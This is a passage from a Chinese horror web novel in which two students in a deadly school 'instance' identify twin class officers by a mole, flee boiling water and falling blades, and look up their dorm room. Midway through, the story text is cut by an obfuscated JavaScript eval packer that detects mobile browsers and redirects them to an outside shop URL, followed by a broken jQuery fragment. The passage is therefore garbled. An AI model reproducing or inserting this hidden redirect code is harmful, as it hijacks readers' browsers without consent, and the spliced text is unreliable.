而且这个班长多半是无头尸男口中的双胞胎妹妹,或者是那个在一开始系统里出现的学习委员,其中一个假扮的。
李安平早就意识到班长肯定不是本人了,他问道:“需不需要我们去找找图片,对对人名。”
陈令迟一愣:“怎么对人名?”
李安平也有些奇怪:“你不知道所以有学校一楼走廊都是有优秀学生代表的吗?”
陈令迟啊了一声,没说话地表示了他不知情。
李安平道:“一般而言,学校的1楼走廊上面都贴着每个年级的优秀学生代表。刚刚班主任说班长是年级第一,那么很有可能她的照片就贴在上面。”
陈令迟很显然地学到了一个不那么重要地知识:“你怎么知道的?”
李安平啊了一声:“我的班级就刚好在1楼,而且靠近墙,你的照片就在上面贴着。”
说完这话,李安平有点想笑道:“我还知道你当时写的座右铭是‘不知道啊,随便学学’,所以当时我们班人都说你好装一男的。”
陈令迟很明显地没了这段记忆,也不知道自己什么时候写的这么中二地八个字。
但他抓住了别的重点:“所以你一开始就认识我。”
李安平点头道:“差不多吧,只是没想到你真人长得还挺帅的,我们墙旁边那个照片,你糊的跟马赛克一样,依稀能辨别出个人影来。”
两个人不约而同地往另外一栋教学楼走,从那边地楼梯下去。
离开了班主任地保护范围,李安平明显地收敛了不少:“我当时就想着,跟着年级第一总归在智力上不会太吃亏。”
“但很显然,年级第一在遇到无限流恐怖本的情况下也是无计可施。”陈令迟说完这话,两个人就来到了一楼。
却发现这会儿天色已经黑了。
而刚刚他们两个人站在教学楼内往外看的时候,外面的天色分明是亮的。
两个人面面相觑一眼,都从对方眼底看见了不可置信。
而后两人再度不约而同的往上爬了一层,却发现,二楼地天确实凉一点。
两个人回到了一楼,不知所措:“所以,这到底是个什么情况?”
陈令迟回忆了半天也没找到系统那句话掺杂了这情况发生的原因,只能悻悻作罢。
来到一楼走廊,果不其然贴着“优秀同学。”
陈令迟和李安平没再交谈,恐惧着班长临走前所说的话,因此,两个人慌不忙地看起来了。
复读部十四班。
教室404。
孔情(班长)
而很快,两个人就发现孔情旁边的人,和孔情长着如出一辙地脸。
可孔情看上去要冷淡地多,而孔倩却要乖巧娇纵一些。
目光下移。
孔倩(学习委员)
陈令迟抿了抿唇,低声道:“那恐怕其实死的不是孔倩,而且孔情。”
毕竟现在和他们两个沟通交流地人,无论从哪方面而言,都算不上是冷淡。
反而看上去和孔倩很像。
得出这个结论,两个人怕突然惊现一个班长或学习委员,就准备离开。
而一楼地同学都麻木且像个正常人一样地零零散散地走出班级。
李安平皱眉:“不知道他们要干什么,要不然我去问问?”
虽是问句,可李安平已经准备过去了,陈令迟没拦着,只是观察起周围。
李安平问人的时候,陈令迟的目光再度落在了优秀学生发脸上。
他总觉得这个班长和学习委员不对劲。
视线一遍遍划过两张相似地脸,却始终摸不清头绪。
终于,在陈令迟地眼神落在了孔倩眼下一颗痣地时候,终于反应过来了。
陈令迟立刻看向一旁孔情的脸。
脸上果然没有痣,所以接待他们的班长并不是班长,而是学习委员。
和他们说话的班长,一开始见面的时候脸上有痣,而中间在班级的时候,脸上却是没有痣的。
所以,班长和白裙少女很有可能是可以相互替换的,也就是说,白裙少女的无意识是装的。
但是那里太昏暗了,所以陈令迟也不确定痣的情况。
他再度看起两张脸来,试图找到点什么其他的区别来。
而这时,李安平也问完话回来了。
看着陈令迟一脸严肃认真地表情,陈令迟有点意外:“怎么了吗?”
陈令迟伸手盖住两张照片,问道:“你对我们见到的班长脸上是有痣还是没有痣,有没有印象了?”
李安平一愣:“什么?”
“就是班长脸上是有痣的还是没痣的?”陈令迟抿了抿唇又问了一遍。
李安平听明白了,他下意识看向被陈令迟遮挡的部分:“好像,有吧?”
顿了一下,李安平有道:“我怎么感觉她好像又有痣又没有痣啊?”
痣这个玩意儿不太起眼,不认真看根本看不出来。
“那太好了,应该不是我的错觉。”陈令迟闻言松了一口气,把手拿开,示意李安平去看照片道,“这是双胞胎,所以她们两个应该是痣上面的区别。”
但是现在地问题是,不知道来接待他们两个的班长脸上到底有没有痣。
这时一件很发愁的事情。
李安平也不知道如何是好,他比陈令迟胆小一点,以至于大多数时候都不想陈令迟一样明晃晃地看过去,因此他更没有印象了。
看见李安平发愁地脸,陈令迟拍了拍他问道:“你呢?你问到了什么情况吗?”
说到这个,李安平回了神:“有啊,这会儿放学了,要回到寝室了。”
“寝室?”陈令迟喃喃重复了一遍,而后看向李安平,“我们两个在哪个寝室?”
李安平看了回去,很无助:“你觉得我知道吗?”
总不会还要上去一趟吧?
回想起班长的最后一句话,两个人都有点哆嗦。
陈令迟突发奇想问道:“你说现在从这个角度看5楼会是什么样的?”
毕竟这五楼和一楼可不一样。
李安平也没头绪,他既不知道寝室在哪里,也不是很想上去和班长面对面。
于是他点头:“也行,看一眼吧。”
而后一眼万年。
谁能想到两个人齐刷刷往上看时,能和班长的视线正对上。
班长穿着校服,站在走廊的窗台边上,居高临下的看着他们。
眼神凛冽,一副恨他们入骨地模样。
两个人被吓得愣在了当场三秒,一动不动,就这么傻愣愣地仰头看着班长。
陈令迟脑子抽了,还试图跨越5楼的距离,看清她脸上有没有一颗痣
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17827677|211264||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。
下一秒,白裙少女端着一盆水就泼了下来。
李安平被吓傻了,还没反应过来,把陈令迟拽着往后退了一步,才没被水泼到。
而水落在地上,热浪扑面而来。
这水是烧开的!
这算是真的铁了心要弄死他们了。
陈令迟还没来得及说点什么话,之间楼上不知何时站了好几个女生。
他甚至没来得及猜测这些姑娘们要干什么,刀片如雨下来。
要不是陈令迟因为热水而心怀恐惧,第一片刀子就能砸在他身上了。
两个人几乎是瞬间就看清扔下来的是什么。
来不及思考,来不及反应,甚至没有沟通,下一秒一起拔腿就跑。
不带半分犹豫的。
而刀子不必热水具有随机性,刀子可以随着力道的变化而改变降落方向。
两个人一时狼狈不能。
还好两个人原本就靠近室内的走廊,没几步路就跨进去了。
但是又害怕五楼的人下来,两个人对视一眼,决定往操场上跑。
一路跑到空旷地操场上,两个人这才跪趴在地上,大喘气,半天都说不出来一句话。
“吓死我了。”李安平被吓得魂魄不定,“经过这么惊鸿一眼,我都不理解为什么我之前一直在哭了。之前有啥恐怖的?好歹是直观的露出来的。”
陈令迟也是这么觉得的,他翻了个身子,坐在草地上道:“其实我对鬼还好,但是突然出现的东西就是能把人吓死。”
李安平现在没心情哭,也没有力气思考了,只想平静而呆滞地坐着。
不管一切,就如同在真实地学习一样,晚自习上累了,偷偷摸摸跑到操场上吹牛看月亮。
只可惜,只都是李安平地幻想。
自己现在不在北苓一中的操场上,而是在一个无限流副本里面,唯一幸运地是,还有一个同校的同学。
陈令迟也难得有点发闷。
很无助且无辜地卷入进来,再经历了不断地冲击和折磨,绕是陈令迟这种看得开地人都略显疲惫。
原本情绪起不来,可这会儿坐在空无一人地操场上,全身上下只剩下身体地疲惫。
月亮带着点不真切地噪音,就让人格外想哭。
陈令迟觉得这会儿哭出来太丢人了,他强行挑了个话题,笑着说道:“不过我们两个人经历也算是丰富起来了,我们俩可是经历过刀子雨的人。”
李安平也强制开机,跟着笑道:“那可不,我们两个人可是连黄泉列车都敢做地人。”
陈令迟点头:“就这列车,不太道德,他没有问过我到底想不想做。”
李安平道:“强买强卖这一块儿。”
陈令迟笑了几下道:“我们两个不能一直在这里看星星,赏月亮吧,我好像还得回寝室吧。”
“有道理,”李安平摆弄着手表,“你说这手表里面会不会有宿舍信息?”
陈令迟瞬间觉得这是一个可以突破地点。
只能说不愧是系统自带的,无限流手表,就是全乎。
两个人很快翻找到了宿舍的消息。
四栋四楼404。
看见这个序号,陈令迟和李安平面面相觑一眼。
眼底有这如出一辙地言语:这个寝室就这么不吉利吗?他们非得进去吗?